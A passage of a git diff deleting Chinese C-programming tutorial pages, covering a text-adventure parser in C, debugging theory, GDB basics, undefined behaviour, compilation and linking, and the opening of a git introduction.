- case distOverthere: - printf("Too far away, move closer please.\n"); - break; - case distUnknownObject: - // already handled by getVisible - break; - default: - if (obj->location == guard) - { - printf("You should ask %s nicely.\n", obj->location->description); - } - else - { - moveObject(obj, player); - } - } -} - -void executeDrop(const char *noun) -{ - moveObject(getPossession(player, "drop", noun), player->location); -} - -void executeAsk(const char *noun) -{ - moveObject(getPossession(actorHere(), "ask", noun), player); -} - -void executeGive(const char *noun) -{ - moveObject(getPossession(player, "give", noun), actorHere()); -} - -void executeInventory(void) -{ - if (listObjectsAtLocation(player) == 0) - { - printf("You are empty-handed.\n"); - } -} -``` - -最后,我们将调整 noun*.c*中的约束。我们正在向函数*getObject*添加两个参数,以便找到特定名词的匹配项,同时忽略任何被认为不存在的对象。这将在下一章中得到真正的回报,我们将在下一章中介绍具有相同标签的不同对象。 - -## noun.h - -```c -extern OBJECT *getVisible(const char *intention, const char *noun); -extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); -``` - -## noun.c - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0; -} - -static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance) - //只考虑与对象距离小于或等于最大距离的物体 - { - res = obj; - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun, player, distOverthere); - //玩家看不到的自动忽略 - if (obj == NULL) - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand %s.\n", intention); - } - else - { - printf("You don't see any %s here.\n", noun); - } - } - return obj; -} - -OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) -{ - OBJECT *obj = NULL; - if (from == NULL) - { - printf("I don't understand who you want to %s.\n", verb); - } - else if ((obj = getObject(noun, from, distHeldContained)) == NULL) - //限制范围 - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand what you want to %s.\n", verb); - } - else if (from == player) - { - printf("You are not holding any %s.\n", noun); - } - else - { - printf("There appears to be no %s you can get from %s.\n", - noun, from->description); - } - } - else if (obj == from) - { - printf("You should not be doing that to %s.\n", obj->description); - obj = NULL; - } - return obj; -} -``` - -::: warning 🤔 思考题:你能理解什么时候加 const,什么时候不用吗? -::: - -在本章中,*距离*的概念主要用于在游戏可以给用户的不同响应之间进行选择。但是,距离的好处并不局限于**输出**端;它可以同样很好地用于在**输入**端进行改进。在下一章中,我们将使用距离来提高对用户输入的名词的识别。 - -输出样例 - -Welcome to Little Cave Adventure. -You are in an open field. -You see: -a silver coin -a burly guard -a cave entrance - ---> go guard -You can't get much closer than this. - ---> give silver -You are not holding any silver. - ---> ask silver -There appears to be no silver you can get from a burly guard. - ---> get silver -You pick up a silver coin. - ---> get gold -You don't see any gold here. - ---> give silver -You give a silver coin to a burly guard. - ---> go cave -OK. -You are in a little cave. -You see: -a gold coin -an exit - ---> get gold -You pick up a gold coin. - ---> give gold -There is nobody here to give that to. - ---> quit - -Bye! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md deleted file mode 100644 index c29610c..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向.md +++ /dev/null @@ -1,254 +0,0 @@ -# 8.移动方向 - -*传统的文本冒险使用[指南针方向](https://en.wikipedia.org/wiki/Cardinal_direction)进行导航。* - -例如,我们在第 6 章中绘制的地图上,玩家可能想**向东**移动,从田野移动到洞穴。我们可以通过给连接**Cave**的通道标上“east”来实现这一点。但是,我们首先需要解决两个问题。 - -1. 我们可能仍然想把这段通道称为“entrance”和“east”。但现在,一个对象只能有一个标签。 -2. 在更大的地图上,具有更多的位置和道路,标签“east”将被定义多次。到目前为止,标签在我们的游戏中是全球独一无二的,没有重复项。 - -::: warning 🤔 思考题:你能否想出解决办法? -::: - -这些问题同样适用于其他对象,而不仅仅是通道。 - -在我们的冒险中,我们有一枚银币和一枚金币。一方面,如果不接受在只有一枚硬币存在的地点得到硬币,那将是愚蠢的。 - -另一方面,在两种硬币都在同一位置存在的情况下,玩家应该可以有两个拾取选择。 - -这立即将我们带到了解析器的第三个问题: - -1. 一个标签只能是一个单词;“sliver coin”这是俩单词,他不接受啊 - -所有三个问题都将在本章中解决,从问题#1 开始。它通过为每个对象提供一个标签列表来解决,而不仅仅是一个标签。 - -## object.h - -```c -typedef struct object { - const char *description; - const char **tags; - struct object *location; - struct object *destination; -} OBJECT; - -extern OBJECT objs[]; - -#define field (objs + 0) -#define cave (objs + 1) -#define silver (objs + 2) -#define gold (objs + 3) -#define guard (objs + 4) -#define player (objs + 5) -#define intoCave (objs + 6) -#define exitCave (objs + 7) -#define wallField (objs + 8) -#define wallCave (objs + 9) - -#define endOfObjs (objs + 10) -``` - -## object.c - -```c -#include -#include "object.h" - -static const char *tags0[] = {"field", NULL}; -static const char *tags1[] = {"cave", NULL}; -static const char *tags2[] = {"silver", "coin", "silver coin", NULL}; -static const char *tags3[] = {"gold", "coin", "gold coin", NULL}; -static const char *tags4[] = {"guard", "burly guard", NULL}; -static const char *tags5[] = {"yourself", NULL}; -static const char *tags6[] = {"east", "entrance", NULL}; -static const char *tags7[] = {"west", "exit", NULL}; -static const char *tags8[] = {"west", "north", "south", "forest", NULL}; -static const char *tags9[] = {"east", "north", "south", "rock", NULL}; -//我们不固定标签长度,在结束的时候用 NULL 来标记 -OBJECT objs[] = { - {"an open field" , tags0, NULL , NULL }, - {"a little cave" , tags1, NULL , NULL }, - {"a silver coin" , tags2, field, NULL }, - {"a gold coin" , tags3, cave , NULL }, - {"a burly guard" , tags4, field, NULL }, - {"yourself" , tags5, field, NULL }, - {"a cave entrance to the east", tags6, field, cave }, - {"an exit to the west" , tags7, cave , field }, - {"dense forest all around" , tags8, field, NULL }, - {"solid rock all around" , tags9, cave , NULL } - //我们用 NULL 来阻绝进入一个你不知道的地方 -}; -``` - -当然,要让这个改动生效,我们还需要调整*noun.c*中的*objectHasTag*函数。 - -*同时,我们将让函数 getVisible*和*getPossession* 告知玩家他必须更具体的选择你到底是银币还是金币,而不是随机选择任何一个对象。 - -## noun.h - -```c -extern OBJECT *getVisible(const char *intention, const char *noun); -extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun); -``` - -## **noun.c** - -```c -#include -#include -#include -#include "object.h" -#include "misc.h" - -static bool objectHasTag(OBJECT *obj, const char *noun) -{ - if (noun != NULL && *noun != '\0') - { - const char **tag; - for (tag = obj->tags; *tag != NULL; tag++) - { - if (strcmp(*tag, noun) == 0) return true; - }//扫描对象的 tag 列表 - } - return false; -} - -static OBJECT ambiguousNoun;//我们需要这玩意的地址帮助我们把它当成一个返回值 - -static OBJECT *getObject(const char *noun, OBJECT *from, DISTANCE maxDistance) -{ - OBJECT *obj, *res = NULL; - for (obj = objs; obj < endOfObjs; obj++) - { - if (objectHasTag(obj, noun) && getDistance(from, obj) <= maxDistance) - { - res = res == NULL ? obj : &ambiguousNoun;//标签不明确的解决方案哦 - } - } - return res; -} - -OBJECT *getVisible(const char *intention, const char *noun) -{ - OBJECT *obj = getObject(noun, player, distOverthere); - if (obj == NULL) - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand %s.\n", intention); - } - else - { - printf("You don't see any %s here.\n", noun); - } - } - else if (obj == &ambiguousNoun)//模糊匹配 - { - printf("Please be specific about which %s you mean.\n", noun); - obj = NULL; - } - return obj; -} - -OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun) -{ - OBJECT *obj = NULL; - if (from == NULL) - { - printf("I don't understand who you want to %s.\n", verb); - } - else if ((obj = getObject(noun, from, distHeldContained)) == NULL) - { - if (getObject(noun, player, distNotHere) == NULL) - { - printf("I don't understand what you want to %s.\n", verb); - } - else if (from == player) - { - printf("You are not holding any %s.\n", noun); - } - else - { - printf("There appears to be no %s you can get from %s.\n", - noun, from->description); - } - } - else if (obj == &ambiguousNoun)//模糊匹配 - { - printf("Please be specific about which %s you want to %s.\n", - noun, verb); - obj = NULL; - } - else if (obj == from) - { - printf("You should not be doing that to %s.\n", obj->description); - obj = NULL; - } - return obj; -} -``` - -问题 #3 可以通过从函数*parseAndExecute*中删除一个 [空格](http://en.wikipedia.org/wiki/Space_(punctuation))字符来解决(下面的第 10 行)。这个解决方案远非完美('silver' 和 'coin' 之间的双空格是打咩的),但直到我们在第 13 章中让自己成为一个更好的解析器之前。 - -## parsexec.c - -```c -#include -#include -#include -#include "location.h" -#include "inventory.h" - -bool parseAndExecute(char *input) -{ - char *verb = strtok(input, " \n"); - char *noun = strtok(NULL, "\n"); - if (verb != NULL) - { - if (strcmp(verb, "quit") == 0) - { - return false; - } - else if (strcmp(verb, "look") == 0) - { - executeLook(noun); - } - else if (strcmp(verb, "go") == 0) - { - executeGo(noun); - } - else if (strcmp(verb, "get") == 0) - { - executeGet(noun); - } - else if (strcmp(verb, "drop") == 0) - { - executeDrop(noun); - } - else if (strcmp(verb, "give") == 0) - { - executeGive(noun); - } - else if (strcmp(verb, "ask") == 0) - { - executeAsk(noun); - } - else if (strcmp(verb, "inventory") == 0) - { - executeInventory(); - } - else - { - printf("I don't know how to '%s'.\n", verb); - } - } - return true; -} -``` - -模块*main.c*、*inventory.c*、*location.c*、*move.c* 和*misc.c*保持不变 - -现在对象数组 ( *object.c* ) 开始在多个维度上增长(特别是在引入多个标签的情况下),我们需要一种使其更易于维护的方法。 - -::: warning 🤔 猜猜看该怎么办? -::: diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习:生成代码.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习:生成代码.md deleted file mode 100644 index 37fae34..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习:生成代码.md +++ /dev/null @@ -1,91 +0,0 @@ -# 9.练习:生成代码 - -*到目前为止,我们的冒险游戏有 10 个对象。每个对象由有 5 个属性组成。一个真正的文本冒险可能有数百个甚至数千个对象,并且每个对象的属性数量也可能增加(请参阅下一章)。在目前的形式下,维护如此庞大的对象和属性列表将很困难。* - -例如,当我们在添加对象 *wallField* 和 *wallCave* 时,我们必须在三个不同的位置执行此操作:一次在 *object.h* 中(作为#define),两次在 *object.c* 中(数组 *objs* 中的一个元素,以及一个单独的标签数组)。这显然十分笨拙并且容易出错。 - -我们将不再手工维护 object. h 和 object. c,而是从更适合我们需要的单一源开始生成文件。这个新的源文件可以用你喜欢的任何语言 ( 典型的是某些特定领域的语言 ),只要你有工具把它转换回 C。下面是一个简单的例子,考虑下列布局来组织我们的对象: - -```txt - /* Raw C code (declarations) */ -- ObjectName - AttributeName AttributeValue - AttributeName AttributeValue - ... -- ObjectName - AttributeName AttributeValue - AttributeName AttributeValue - ... -- ... -``` - -根据到目前为止收集的对象,我们可以构造以下源文件。文件名并不重要;我只是简单地将其命名为*object.txt*,以明确它与*object.h*和*object.c*相关。 - -## object.txt - -```txt -#include -#include "object.h" - -typedef struct object { - const char *description; - const char **tags; - struct object *location; - struct object *destination; -} OBJECT; - -extern OBJECT objs[]; -//对象 -- field - description "an open field" - tags "field" - -- cave - description "a little cave" - tags "cave" - -- silver - description "a silver coin" - tags "silver", "coin", "silver coin" - location field - -- gold - description "a gold coin" - tags "gold", "coin", "gold coin" - location cave - -- guard - description "a burly guard" - tags "guard", "burly guard" - location field - -- player - description "yourself" - tags "yourself" - location field - -- intoCave - description "a cave entrance to the east" - tags "east", "entrance" - location field - destination cave - -- exitCave - description "an exit to the west" - tags "west", "exit" - location cave - destination field - -- wallField - description "dense forest all around" - tags "west", "north", "south", "forest" - location field - -- wallCave - description "solid rock all around" - tags "east", "north", "south", "rock" - location cave -``` - -::: warning 🤔 思考题:你能否自己用 C 来实现这段伪代码? -::: diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md deleted file mode 100644 index d7d44a8..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md +++ /dev/null @@ -1,43 +0,0 @@ -# 阶段二:文字冒险(cool) - -## 前言 - -本来打算让各位做下面的任务来进行进一步的学习的,但是想了想,实在是,**太无聊啦**! - -又想让你们来做一个管理系统,但是又想到你们可能会进行无数个管理系统,**这也太无聊啦**! - -因此呢,我打算带大家玩一个文字冒险游戏![源头取自这里](https://github.com/helderman/htpataic),如果你想自己体验全流程的话可以试试玩哦! - -当然,在编写的过程中,难免会出现你感到困惑的地方,比如说,你觉得这样更好,或者说,你不明白为什么要这样编写代码,欢迎你进行更多的独立的尝试。 - -其次我要说的是: - -这个学习过程会非常硬核,所以你感觉非常多东西不会是很正常的! - -我希望你可以通过这种方式,以后在面临一个大项目或者别人的代码时(你经常要借鉴别人的代码)保持冷静。 - -可以保证的是,如果你成功坚持下来了,你将会在接下来的编程生涯中保持长时间的游刃有余。 - -当然,如果你选择跳过,也不会对 python 开发那里造成非常大的影响但是你会错失一个非常宝贵的学习机会。 - -![](https://cdn.xyxsw.site/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg) - -在 1980 年代, [文字冒险](http://en.wikipedia.org/wiki/Text_adventure) 是一种受人尊敬的电脑游戏类型。但是时代已经变了,在 21 世纪,它们与 带有 3D 引擎的现代 [MMORPG 相比显得苍白无力。](http://en.wikipedia.org/wiki/Mmorpg)书籍在电影的兴起中幸存下来,而基于文本的游戏很快就输掉了与图形游戏的战斗。“互动小说”由一个活跃的社区保持活力,但它的商业价值早已不复存在。 - -## 系统调试的黄金法则:KISS 原则 - -这里的 `KISS` 是 `Keep It Simple, Stupid` 的缩写,它的中文翻译是:不要在一开始追求绝对的完美。 - -随着以后代码量会越来越多,各个模块之间的交互也越来越复杂,工程的维护变得越来越困难,一个很弱智的 bug 可能需要调好几天。 - -在这种情况下,系统能跑起来才是王道,跑不起来什么都是浮云,追求面面俱到只会增加代码维护的难度。 - -唯一可以把你从 bug 的混沌中拯救出来的就是 KISS 法则,它的宗旨是**从易到难,逐步推进**, 一次只做一件事,少做无关的事。 - -如果你不知道这是什么意思,我们以可能发生的 `str` 成员缓冲区溢出问题来作为例子。KISS 法则告诉你,你应该使用 `assert(0)`, 就算不"得体"地处理上述问题,仍然不会影响表达式求值的核心功能的正确性。 - -如果你还记得调试公理,你会发现两者之间是有联系的:调试公理第二点告诉你,未测试代码永远是错的。与其一下子写那么多"错误"的代码,倒不如使用 `assert(0)` 来有效帮助你减少这些"错误". - -如果把 KISS 法则放在软件工程领域来解释,它强调的就是多做[单元测试](http://en.wikipedia.org/wiki/Unit_testing): 写一个函数,对它进行测试,正确之后再写下一个函数,再对它进行测试... 一种好的测试方式是使用 assertion 进行验证, - -KISS 法则不但广泛用在计算机领域,就连其它很多领域也视其为黄金法则,[这里](http://blog.sciencenet.cn/blog-414166-562616.html)有一篇文章举出了很多的例子,我们强烈建议你阅读它,体会 KISS 法则的重要性。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md deleted file mode 100644 index 560add4..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md +++ /dev/null @@ -1,67 +0,0 @@ -# 调试理论 - -::: warning 🌲 调试公理 - -- The machine is always right. (机器永远是对的) - - - Corollary: If the program does not produce the desired output, it is the programmer's fault. -- Every line of untested code is always wrong. (未测试代码永远是错的) - - - Corollary: Mistakes are likely to appear in the "must-be-correct" code. - -这两条公理的意思是:抱怨是没有用的,接受代码有 bug 的现实,耐心调试. -::: - -::: warning 😋 如何调试 - -- 不要使用"目光调试法", 要思考如何用正确的工具和方法帮助调试 - - - 程序设计课上盯着几十行的程序,你或许还能在大脑中像 NEMU 那样模拟程序的执行过程; 但程序规模大了之后,很快你就会放弃的:你的大脑不可能模拟得了一个巨大的状态机 - - 我们学习计算机是为了学习计算机的工作原理,而不是学习如何像计算机那样机械地工作 -- 使用 `assert()` 设置检查点,拦截非预期情况 - - - 例如 `assert(p != NULL)` 就可以拦截由空指针解引用引起的段错误 -- 结合对程序执行行为的理解,使用 `printf()` 查看程序执行的情况 (注意字符串要换行) - - - `printf()` 输出任意信息可以检查代码可达性:输出了相应信息,当且仅当相应的代码块被执行 - - `printf()` 输出变量的值,可以检查其变化过程与原因 -- 使用 GDB 观察程序的任意状态和行为 - - - 打印变量,断点,监视点,函数调用栈... -::: - -![](https://cdn.xyxsw.site/boxcnaqLMfwqNMTcYEPuF3vFjqg.png) - -## 什么是调试理论 - -如果我们能判定任意程序状态的正确性,那么给定一个 failure,我们可以通过二分查找定位到第一个 error 的状态,此时的代码就是 fault (bug)。 - -## 正确的方法:理解程序的执行过程,弄清楚到底为何导致了 bug - -- `ssh`:使用 `-v` 选项检查日志 -- `gcc`:使用 `-v` 选项打印各种过程 -- `make`:使用 `-n` 选项查看完整命令 - - - `make -nB | grep -ve '^\(echo\|mkdir\)'` 可以查看完整编译 nemu 的编译过程 - -各个工具普遍提供调试功能,帮助用户/开发者了解程序的行为 - -## 错误概念 - -我们来简单梳理一下段错误发生的原因。首先,机器永远是对的。如果程序出了错,先怀疑自己的代码有 bug . 比如由于你的疏忽,你编写了 `if (p = NULL)` 这样的代码。但执行到这行代码的时候,也只是 `p` 被赋值成 `NULL`, 程序还会往下执行。然而等到将来对 `p` 进行了解引用的时候,才会触发段错误,程序彻底崩溃。 - -我们可以从上面的这个例子中抽象出一些软件工程相关的概念: - -- Fault: 实现错误的代码,例如 `if (p = NULL)` -- Error: 程序执行时不符合预期的状态,例如 `p` 被错误地赋值成 `NULL` -- Failure: 能直接观测到的错误,例如程序触发了段错误 - -调试其实就是从观测到的 failure 一步一步回溯寻找 fault 的过程,找到了 fault 之后,我们就很快知道应该如何修改错误的代码了。但从上面的例子也可以看出,调试之所以不容易,恰恰是因为: - -- fault 不一定马上触发 error -- 触发了 error 也不一定马上转变成可观测的 failure -- error 会像滚雪球一般越积越多,当我们观测到 failure 的时候,其实已经距离 fault 非常遥远了 - -理解了这些原因之后,我们就可以制定相应的策略了: - -- 尽可能把 fault 转变成 error. 这其实就是测试做的事情,所以我们在上一节中加入了表达式生成器的内容,来帮助大家进行测试,后面的实验内容也会提供丰富的测试用例。但并不是有了测试用例就能把所有 fault 都转变成 error 了,因为这取决于测试的覆盖度。要设计出一套全覆盖的测试并不是一件简单的事情,越是复杂的系统,全覆盖的测试就越难设计。但是,如何提高测试的覆盖度,是学术界一直以来都在关注的问题。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md deleted file mode 100644 index fc5f39d..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md +++ /dev/null @@ -1,65 +0,0 @@ -# GDB 初探索(编程可阅览) - -请在开始进行 C 语言编程之后查阅使用 - -![](https://cdn.xyxsw.site/boxcnHXggg6eLy86vFmb4shOksh.png) - -## GDB 是什么? - -调试器,简单来说就是当你代码跑不通时候修正错误用的 - -[GDB's Mascot?](https://sourceware.org/gdb/mascot/) - -可搭配插件 gef pwndbg pwngdb peda - -## 基本操作 - -[GDB 快速入门教程](https://www.bilibili.com/video/BV1EK411g7Li/) - -### **GDB 使用表** - -`run (r)`运行程序 - -`b`打断点,可以在函数和位置打断点 - -`info b`查看打断点的位置 - -`n`下一步,跳过函数的 - -`list`查看源代码 - -`-p`走 PID 路线 - -`edit [file:]function` 看现在停下的函数位置 - -`step` 进入任何函数 - -`p`打印变量 - -`shell`输入命令 - -`set logging on`记录日志 - -`watchpoint`观察变量是否变化的观察点 - -`watch`设置观察点位置,watch*(地址) - -`layout split`开启 TUI 模式 - -`whatis`查看变量类型 - -`ptype`查看详细信息 - -#### **TUI** - -`ctrl + x + a`开启 - -`ctrl + p + n`往前 - -`ctrl + l`重新整理页面 - -## 官方手册 - -[GDB User Manual](https://sourceware.org/gdb/current/onlinedocs/gdb) - -有非常多高级用法,可以在必要的时候进行查阅,受益无穷 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md deleted file mode 100644 index ecbff4c..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md +++ /dev/null @@ -1,63 +0,0 @@ -# C 的历史问题:undefined behavior - -![](https://cdn.xyxsw.site/boxcnIdOChXQUGMvnxWcB7uTWLh.png) - -简写为 UB - -“Anything at all can happens; the Standard imposes no requirements. The program may fail to compile, or it may execute incorrectly (either crashing or silently generating incorrect results), or it may fortuitously do exactly what the programmer intended” - -简单来说就是:他没定义这种操作该怎么办。 - -比如说/0 以及一些你们可能没接触过的操作。 - -给你们看个恶心的例子: - -```c -int main(int argc, char **argv) { - int i = 3; - int r = (i++*++i+i--*--i); - printf("The answer : %dn", r); - system("pause"); - return 0; -} -``` - -让我们看看不同编译器的 Debug 模式下执行的结果 - -Visual C++ 6.0 - -> The answer : 25 - -Visual C++ 2008 Express - -> The answer : 18 - -MinGW(GCC) - -> The answer : 25 - -我们试试看在 Release 下执行的结果 - -Visual C++ 6.0 - -> The answer : 18 - -Visual C++ 2008 Express - -> The answer : 18 - -MinGW(GCC) - -> The answer : 25 - -C 语言最初为了开发 UNIX 和系统软体而生,本质是低阶的程式语言 - -在语言规范层级存在 UB,可允许编译器引入更多最佳化。比方说 `X * 2 / 2` 在沒有 overflow 发生的時候,可最佳化为 `X`。 - -而且值得注意的是,在你的程序初始化之前,栈里面塞的一堆东西也是 UB。 - -但是高级语言比如说 java,python 都不会出现这样的问题了。 - -因为发现少一个时钟周期的运算多一堆问题,完全得不偿失啊。 - -关键是,老师喜欢出题刁难你啊!真烦啊! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md deleted file mode 100644 index 20267a2..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md +++ /dev/null @@ -1,27 +0,0 @@ -# C 编译器干了什么 - -## 以 gcc 为例 - -1、预处理,生成 .i 的文件[预处理器 cpp] - -2、将预处理后的文件转换成汇编语言,生成文件 .s [编译器 egcs] - -3、有汇编变为目标代码 (机器代码) 生成 .o 的文件[汇编器 as] - -4、连接目标代码,生成可执行程序 [链接器 ld] - -## 有啥用 - -有一天你发现,某一段 C 语言只有几行,但是用了大量的魔法宏定义以及魔法操作以及神奇的元编程。 - -你想看懂他,你可能需要学会 gcc -E。将他们都翻译成.i 文件。 - -如果有一天你要学习汇编语言,或者说出现了在代码中看不出的 bug,你可能需要翻译成.s 文件 - -## 了解更多 - -当然不止如此,编译器还承担了优化的过程,有时候同一份代码,经过 O1 和 O2 不同优化可能最后代码都不一样。 - -推荐阅读 - -[编译器的工作过程](http://www.ruanyifeng.com/blog/2014/11/compiler.html) diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md deleted file mode 100644 index cc76c13..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md +++ /dev/null @@ -1,83 +0,0 @@ -# Inline Assembly 与链接加载 - -## Inline Assembly - -可以在 C 代码里嵌入汇编语言的骚操作。毕竟编译器本身也就是个复制,翻译,,粘贴的过程。 - -> C 语言是高级的汇编语言! - -你可以把每一个 C 语言的语句都直译成一条一条的汇编代码。反正也是顺序执行的。 - -C 艹可能没那么容易了····比如说虚函数调用,那你就不太好翻译嘛。 - -最简单的就是用用个 asm(.....) - -当然这里可以参考 c inline Asm 的教程 但是已经脱离了本文的主题了 - -这里给指条路 [How to Use Inline Assembly Language in C Code](https://dmalcolm.fedorapeople.org/gcc/2015-08-31/rst-experiment/how-to-use-inline-assembly-language-in-c-code.html) - -> 诸如 Go 的高级语言 也可以通过 inline C 来 内链汇编 - -你可以写任何一个指令,他完全不会检查 也不会优化 编译器默认你知道你在干什么。 - -然后 C 编译器就会将这部分代码 **原封不动地**拷贝进你的二进制代码当中 - -当然,你可以通过 RTFM 来将 C 语言的变量塞到汇编中处理。 - -在 Windows 平台下 VS 没有 Code 可以以 `__asm {}` 代码块来进行实验 但是注意 只能在 x86 模式下使用 x64 不支持 可以参考 [__asm](https://docs.microsoft.com/zh-tw/cpp/assembler/inline/asm?view=msvc-170) - -以上两种平台的方案都其实本质是编译器特殊宏 并不包括在 C 的标准内 所以要针对不同的编译器 寻找对应的文档 - -## 静态链接 - -当你使用 GCC 生成可执行文件./a.out 时,到底发生了什么? - -为什么就可以直接执行呢?当你问及这个问题时,那么就大有一番探索的空间了 - -## 链接器 - -链接器的功能:将一个可执行程序所需的目标文件和库最终整合在一起。 - -就是说,你调用的一些库,是必须要有外部的东西支持的 - -这个就是帮你和外部库连接起来的重要部分。 - -一个程序包含三个段:.text、.data 和 .bss 段。 - -而各目标文件和库都包含这三段,所以,ld 链接器的功能就是将各个目标文件和库的三段合并在一起。 - -当然,链接器所完成的链接工作并非只是简单地将各个目标文件和库的三段内存堆砌在一起,而是还要完成“重定位”的工作。 - -### 查看二进制文件的工具 - -使用 objdump 查看 data 节的 x,y - -查看 main 对应的汇编代码 - -使用 readelf 查看 relocation 的信息 - -使用 IDA BinaryNInja 一类反汇编工具 - -## 动态链接 - -静态链接一次用那么多,实在是太大太大了 - -比如说一个 printf 就要几十 KB,完全没必要把 libc 代码包含到程序里面 - -可以等程序加载好之后再去做一个链接 - -Windows 下一般是 DLL 作为程序使用的 动态链接库 - -Linux 下一般是 .so 如果你看到了 .a 那个一般是 archive 的缩写 - -使用动态链接的好处在于 可以热加载和热更新 - -## 共享连接的加载 - -使用 ldd 来查看 a.out 就可以查看动态链接库 - -不过 ldd 这个是个神奇的脚本!!! - -他做的事情就是挨个调用去试着加载 a.out - -加载会读取头中的一些表 比如全局 GOT 然后根据名称查找 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md deleted file mode 100644 index 5c1b1bc..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md +++ /dev/null @@ -1,3 +0,0 @@ -# C 基础知识杂谈 - -本章节内容涉及 C 的调试,C 的历史遗留问题以及 C 的执行过程,可以作为补充资料让大家学习和思考 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md deleted file mode 100644 index 0e65f08..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md +++ /dev/null @@ -1,13 +0,0 @@ -# 3.4C 语言 - -对于计算机学院的学生来说,C 语言要陪伴你以后要非常多的时光,以后的程序设计实践,数据结构,操作系统等等课程都是用 C 语言写的,因此我希望各位同学可以尝试着多完成一些内容 - -对于自动化等别的学院的同学来说,C 语言更贴近计算机底层的运行原理,可以帮助你进行更为底层的各类开发,也是非常有帮助的。 - -值得一提的是,我不会在本教程讲授过于基础的概念,但是会贴出你可能需要学习的内容。 - -![](https://cdn.xyxsw.site/boxcnAnXUHDqsMYVrDlBfFunoVf.png) - -同时我要说的是:C 语言为了适配多种多样的硬件以及各式各样的操作,他对非常多的 undefined 操作不做太多限制,也就是说你可能会出现各种各样的问题,甚至把你电脑炸了 - -但是不用担心,不会造成什么严重后果的,只不过你需要在编程的时候多加留心 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md deleted file mode 100644 index 8d8d3b2..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md +++ /dev/null @@ -1,583 +0,0 @@ -# 3.5git 与 github - -引自 nju-ics-pa - -## 光玉 - -想象一下你正在玩 Flappy Bird,你今晚的目标是拿到 100 分,不然就不睡觉。经过千辛万苦,你拿到了 99 分,就要看到成功的曙光的时候,你竟然失手了!你悲痛欲绝,滴血的心在呼喊着,“为什么上天要这样折磨我?为什么不让我存档?” - -[Play Happy Bird](https://flappybird.io/) - -想象一下你正在写代码,你今晚的目标是实现某一个新功能,不然就不睡觉。经过千辛万苦,你终于把代码写好了,保存并编译运行,你看到调试信息一行一行地在终端上输出。就要看到成功的曙光的时候,竟然发生了错误!你仔细思考,发现你之前的构思有着致命的错误,但之前正确运行的代码已经永远离你而去了。你悲痛欲绝,滴血的心在呼喊着,“为什么上天要这样折磨我?”你绝望地倒在屏幕前 ... ... 这时,你发现身边渐渐出现无数的光玉,把你包围起来,耀眼的光芒令你无法睁开眼睛 ... ... 等到你回过神来,你发现屏幕上正是那份之前正确运行的代码!但在你的记忆中,你确实经历过那悲痛欲绝的时刻 ... ... 这一切真是不可思议啊 ... ... - -## 人生如戏,戏如人生 - -人生就像不能重玩的 Flappy 